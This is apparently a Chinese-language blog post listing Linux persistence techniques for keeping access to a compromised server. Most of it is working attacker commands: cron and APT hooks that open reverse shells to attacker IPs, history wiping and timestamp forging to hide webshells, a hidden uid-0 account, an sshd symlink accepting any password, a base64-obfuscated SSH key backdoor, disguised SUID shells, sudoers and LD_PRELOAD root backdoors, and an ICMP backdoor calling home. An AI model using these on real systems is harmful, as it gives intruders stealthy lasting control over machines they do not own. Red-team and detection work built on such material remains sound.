Linux权限维持

读取某个用户的历史命令记录可以查看

/home/用户名/.bash_history

在 Unix 系统中,不能使用管道符将密码传递给 sudo 命令。

权限维持

无痕终端操作

执行完成后当前终端所有操作不被记录

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

隐藏文件时间戳

如下命令将 webshell.php 的时间改为 2022 年 02 月 01 日 8 时 10 分 30 秒。

touch -t 202202010810.30 webshell.php

将文件修改时间与其它文件一致

# touch -r A B 使B文件时间变得和A文件相同
touch -r index.html shell.php

固定文件

用 chattr 命令防止系统中某个关键文件被修改:

chattr +i file_name

文件只能添加不能删除

chattr +a file_name

Webshell

如果是 PHP 可以考虑修改源码增加 include 函数,并且上传一个文本文件进行文件包含的利用,相对隐蔽。如果是 Java 的话也可以考虑 JavaAgent 内存马。

定时任务

crontab [-u user] file
crontab [-u user] { -e | -l | -r } [command]
  • -u user:指定要操作的用户。如果省略这个参数,crontab 将默认操作当前用户的 crontab 文件。
  • file:指定包含定时任务设置的文件。
  • -e:编辑当前用户的 crontab 文件。
  • -l:显示当前用户的 crontab 文件。
  • -r:删除当前用户的 crontab 文件。
分 时 日 月 周 任务
  • 数字,例如 01023
  • 逗号分隔的数字列表,例如 1,5,10,15
  • 中划线分隔的数字区间,例如 1-5
  • 星号,表示所有可能的值。例如,* 表示每分钟都执行任务。

你还可以使用斜杠来指定一个值的倍数,例如 */5 表示每隔 5 个单位执行任务。

比如

echo "*/1 * * * * cat /etc/passwd >> /tmp/shule.txt" | sudo crontab -u root -

注意: 在使用 | 管道符时,前面的命令的输出会作为后面命令的输入。所以,你需要在 crontab 命令后面加上一个减号 -,表示后面命令的输入来自于标准输入。

每一分钟执行反弹 shell

*/1 * * * * /bin/bash -c "/bin/sh -i >& /dev/tcp/192.168.111.253/8877 0>&1" 

输入 cat /etc/crontabcrontab -e

可以查看计划任务

最后

service cron restart

或者[不同操作系统上面命令不一样]

systemctl restart crond

开机启动项

  • /etc/profile.d 系统启动会执行该目录下的所有 shell 脚本,只需将自己的脚本放在这个目录下就能执行

Systemd Timers

systemd timers 是另外一种设置定时任务的方法。该方法也是需要 root 权限。

使用 systemctl list-timers --all 可以用来检查当前机器上 systemd 的服务启动情况,会列出下次执行某服务的时间,以及上次执行的时间,剩余时间等

vmware_xcJ1FoaXC7

我们需要在 /etc/systemd/system/ 下创建两个文件。首先是 poc.service 内容如下:

[Unit]
Description="malicious service"

[Service]
ExecStart=/opt/poc.sh

其中 ExecStart 表示要执行的权限维持脚本,例如:

#!/bin/bash
echo "poc_4_timer" > /tmp/poc_for_timer

然后是 poc.timer

[Unit]
Description="malicious timer"

[Timer]
OnCalendar=*:0/5:0
Unit=poc.service

[Install]
WantedBy=timers.target

其中 OnCalendar=*:0/5:0 表示每隔 5 分钟执行一次该 timer

可以使用下列命令判断该 timer 是否书写正确:

systemd-analyze verify /etc/systemd/system/poc.*

vmware_Ucp2ig5b40

然后依次执行如下命令即可

systemctl daemon-reload && systemctl enable poc.timer && systemctl start poc.timer

可通过以下命令查看服务运行情况

sudo systemctl status poc.timer

添加 root 用户

# 创建一个用户名 test,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /root

SSH 软链接

当目标开启 ssh 服务时且我们已经拿到 root 权限时(注意,其它用户是不行的,毕竟利用的是 root 切换用户默认不需要输入密码的原理),可以考虑 ssh 软链接的方式维持后门

在目标机器上执行:

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

ssh 即可使用任意密码登录任意用户

ssh [email protected] -p 12345

SSH key

root 权限的人添加密钥登录

$ ssh-keygen  <== 建立密钥对

然后一路回车,就会在 ~/.ssh 上面生成了两个文件

id_rsa  id_rsa.pub

接下来的命令

$ cd ~/.ssh
$ cat id_rsa.pub >> authorized_keys
$ chmod 600 authorized_keys
$ chmod 700 ~/.ssh

最后重启 ssh 服务

$ service sshd restart
# 或者是
$ sudo service ssh restart

也可以通过编辑 /etc/ssh/sshd_config 禁用密码登录

PasswordAuthentication no

将私钥 id_rsa 下载到本地用户,就可以用

chmod 600 id_rsa
ssh 用户名@ip -i id_rsa文件

进行登陆

此外,我们还可以修改 ~/.ssh/authorized_keys 内容,添加 command 参数。比如

WindowsTerminal_hX5PqQ34MK

当运维人员使用 ssh 密钥登录的时候就会触发服务器对该命令的执行。但是执行完这个命令用户是无法登录的。

WindowsTerminal_ZXV3KGvXpu

因此我们可以用如下脚本

[[ $(stat -c%Y /bin/sh) != $(stat -c%Y .ssh) ]] && {
    touch -r /bin/sh .ssh
    export KEY=""
    bash -c "$(touch /tmp/sss)" || exit 0
} >/dev/null 2>/dev/null &
[[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND
[[ -z $SHELL ]] && SHELL=/bin/bash
[[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic
[[ -f /etc/motd ]] && cat /etc/motd
exec -a -$(basename $SHELL) $SHELL
  • [[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND: 如果环境变量SSH_ORIGINAL_COMMAND非空,则将其内容作为命令执行。
  • [[ -z $SHELL ]] && SHELL=/bin/bash: 如果环境变量SHELL为空,则将其设置为/bin/bash
  • [[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic: 如果文件/run/motd.dynamic存在,则输出其内容。
  • [[ -f /etc/motd ]] && cat /etc/motd: 如果文件/etc/motd存在,则输出其内容。
  • exec -a -$(basename $SHELL) $SHELL: 使用exec命令将当前进程替换为以$SHELL为参数的新进程,并将新进程的名称设置为-$(basename $SHELL)

再用 base64 编码

eval $(echo W1sgJChzdGF0IC1jJVkgL2Jpbi9zaCkgIT0gJChzdGF0IC1jJVkgLnNzaCkgXV0gJiYgeyB0b3VjaCAtciAvYmluL3NoIC5zc2g7IGV4cG9ydCBLRVk9IiI7IGJhc2ggLWMgIiQodG91Y2ggL3RtcC9zc3MpIiB8fCBleGl0IDA7IH0gPi9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmIFtbIC1uICRTU0hfT1JJR0lOQUxfQ09NTUFORCBdXSAmJiBleGVjICRTU0hfT1JJR0lOQUxfQ09NTUFORDsgW1sgLXogJFNIRUxMIF1dICYmIFNIRUxMPS9iaW4vYmFzaDsgW1sgLWYgL3J1bi9tb3RkLmR5bmFtaWMgXV0gJiYgY2F0IC9ydW4vbW90ZC5keW5hbWljOyBbWyAtZiAvZXRjL21vdGQgXV0gJiYgY2F0IC9ldGMvbW90ZDsgZXhlYyAtYSAtJChiYXNlbmFtZSAkU0hFTEwpICRTSEVMTAo=|base64 -d)

然后在 command 中填写命令

WindowsTerminal_ShczWhik7m

这样用户就可以正常的 ssh 登录,并且触发后门。

ssh 登录后门参考 https://blog.thc.org/infecting-ssh-public-keys-with-backdoors

ssh 隐藏登录

-T 表示不分配伪终端,/bin/bash 表示在登录后调用 bash 命令 -i 表示是交互式 shell, 不会被 w、last 等指令检测到

ssh -T [email protected] /bin/bash -i 

shell init

当我们使用 ssh 或者新开启一个终端的时候会执行用户目录下的 .profile 文件进行初始化终端环境变量。

WindowsTerminal_3Ua1KMPAS5

可以看到通常情况下会执行 . ~/.bashrc 的命令,我们也可以直接在 .profile 末尾添加恶意的命令,也可以修改 .bashrc 文件从而达到权限维持的作用

/etc/passwd

这个文件中的每一行内容都有如下信息 用户名:[x]:uid:gid:[用户说明]:家目录:登录shell

其中 [x] 是密码标志,如果存在 x 则表示该用户有密码。我们获取了 root 权限可以对 /etc/passwdroot 一行进行修改,删除它的密码标志,这样我们就可以在拥有一个普通用户的时候无密切换用户,这种操作常常见于内核提权漏洞。但是当删除了 x 后则无法进行远程 ssh 密码登录,只适合本地切换用户。这样一来我们可以结合 ssh key 的方式让别人无法登录,自己依旧拥有 root 权限达到权限维持的功能。

SUID Shell

suid 即 set user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件。

euid 是 “effective user ID” 的缩写。在 Linux 系统中,每个用户都有一个用户 ID(简称 UID)和一个有效用户 ID(简称 EUID)。

  • UID 是一个数字,表示用户的身份。UID 为 0 的用户通常是超级用户(也称为 root 用户),拥有系统的最高权限。
  • EUID 是一个数字,表示当前用户的有效身份。如果当前用户没有使用 su 命令切换用户,则 EUID 和 UID 是相同的。如果当前用户使用了 su 命令切换用户,则 EUID 会变成切换到的用户的 UID。
cp /bin/bash /etc/shell
chmod u+s /etc/shell

实际情况中不要起 shell 这种名字,机子上正常的 suid 文件还是很多的,例如:你可以将

mv /usr/bin/newgrp /tmp/a
chmod -s /tmp/a
cp /bin/bash /usr/bin/newgrp
chmod u+s /usr/bin/newgrp

sudo

sudo 是一个授予特定用户组特定用户权限的命令。配置文件在 /etc/sudoers/etc/sudoers.d/,通常情况下只有 root 用户可以进行修改。其中在 /etc/sudoers.d/ 目录下默认只有 README 这个文件,这个文件默认是无法修改的,在 root 权限情况下就随意了。我们可以通过 sudo -l 的方式查看当前用户是否存在sudo 赋予的特权。但是我们可以通过新建一个用户配置 sudo 使得其拥有 root 权限,达到权限维持的效果。

WindowsTerminal_spbMbhEDiE

查看/etc/sudoers 文件可以发现,存在一些特别的格式,而也就是授权语句

WindowsTerminal_9UsZNJM8nq

概括来说,配置权限部分分为 5 个字段

USERS HOST USER GROUP NOPASSWD: COMMANDS
root ALL (ALL ALL) 省略(默认需要密码) ALL
%admin ALL (ALL ALL) 省略(默认需要密码) ALL
%sudo ALL (ALL ALL) 省略(默认需要密码) ALL
  • USERS

表示配置作用的目标用户,也就是说这个配置是给哪个用户的,这个字段可以是用户(例如 root),也可以是用户组(例如 %admin),用户组需要在前面加上 %,也可以是别名,别名说到底就是一堆用户的代表,需要在上文配置

  • HOST

主机名,表示可以使用 sudo 命令的主机,ALL 表示任意主机

  • USER

目标用户使用 sudo 时可以临时获取的身份以及权限,ALL 表示任意身份及权限

  • GROUP

目标用户使用 sudo 时可以临时获取的用户组身份以及权限,ALL 表示任意用户组

  • NOPASSWD

可以设置执行 sudo 不需要密码,省略不写表示需要密码

  • COMMANDS

目标用户 sudo 后可以使用的命令, ALL 表示所有命令

所以默认的配置的含义为

  • root 可以在任意主机上 sudo 获取任意用户和用户组的权限,并执行任意命令,需要输入密码
  • sudo 用户组的用户可以在任意主机上 sudo 获取任意用户以及用户组的权限,并执行任意命令,需要输入密码

比如我们新建一个 guest 用户,设置好密码和 ssh 后。然后进行如下操作,向写入/etc/sudoers.d/README 如下内容

guest   ALL=(ALL:ALL) NOPASSWD: ALL

WindowsTerminal_fxiNktm7Lb

这个时候在 guest 用户上就可以利用 sudo 轻松获得 root权限了

WindowsTerminal_q702Z9jxdM

但是这样还是很容易被发现这个后门,尤其是新建了用户。别人cat /etc/passwd 就给抓到了。所以我们可以考虑本身机器上面存在的 $SHELL 的用户。比如我这里就有个 postgres

WindowsTerminal_YRIZyQeEFn

没有的话也不要着急,我们可以铤而走险的给 /bin/false/nologin 用户解锁。以 www-data 用户为例子,我们直接修改 /etc/passwd 将原本的 /usr/sbin/nologin 修改为 /bin/bash

WindowsTerminal_KdGu4xrGlo

这下就可以有 shell 了

WindowsTerminal_gbo5YDIiuK

同时也可以生成 ssh 密钥对,进行远程登录。

MOTD

在用户成功登录后会显示 /etc/update-motd.d 下的内容,作为推送给用户今日消息的功能。例如:

WindowsTerminal_R0QUifvS4S

我们可以修改 /etc/update-motd.d/00-header,增加反弹 shell 的命令

WindowsTerminal_gR4Wercn7C

APT

/etc/apt/apt.conf.d/ 下创建任意名字的文件,例如 01-vendor-ubuntu,文件内容:

APT::Update::Pre-Invoke {"/bin/bash -c '/bin/bash -i >& /dev/tcp/172.19.238.186/1337 0>&1'"};

当执行 apt update 的时候就会执行反弹 shell 的命令

GIT Hook

.git/hooks/ 目录下创建 pre-commit 文件,填写相关文件内容,并赋予可执行权限,当执行 git commit 就会执行命令,例如:

WindowsTerminal_jOklrY2teO

LD_PRELOAD Hijacking

这种方法及其不安全,后门代码不要过于底层,否则会陷入命令执行的死循环

准备好 C 代码

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("");
}

编译

 gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c

然后执行

echo '/tmp/preload.so' >> /etc/ld.so.preload

ICMP Backdoor

工具:https://github.com/andreafabrizi/prism

下面介绍常规用法。更多的用法请访问原仓库

需要 root 权限。需要修改 prism.c 文件的配置

#include <netinet/ip_icmp.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>

#ifdef STATIC
# define REVERSE_HOST     "192.168.244.137" 
# define REVERSE_PORT     1337
# define RESPAWN_DELAY    15
#else
# define ICMP_PACKET_SIZE 1024
# define ICMP_KEY         "password"
#endif

#define VERSION          "0.5"
#define MOTD             "PRISM v"VERSION" started\n\n# "
#define SHELL            "/bin/sh"
#define PROCESS_NAME     "udevd"

REVERSE_HOST 是攻击机的 IP 地址。REVERSE_PORT 回连地址。ICMP_KEY 连接后门的密码 。SHELL shell 的类型。PROCESS_NAME 受害机上创建的后门进程名

编译:gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

-DDETACH #Run the process in background
-DSTATIC #Enable STATIC mode (default is the ICMP mode)

上传该后门文件并在受害机上运行 prism

攻击机上面运行监听

$ nc -lvnp 1337

然后运行连接后门脚本

sudo python2 sendPacket.py 192.168.244.136 password 192.168.244.137 1337

即使攻击机上断开连接,受害机上的后门程序仍然运行

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇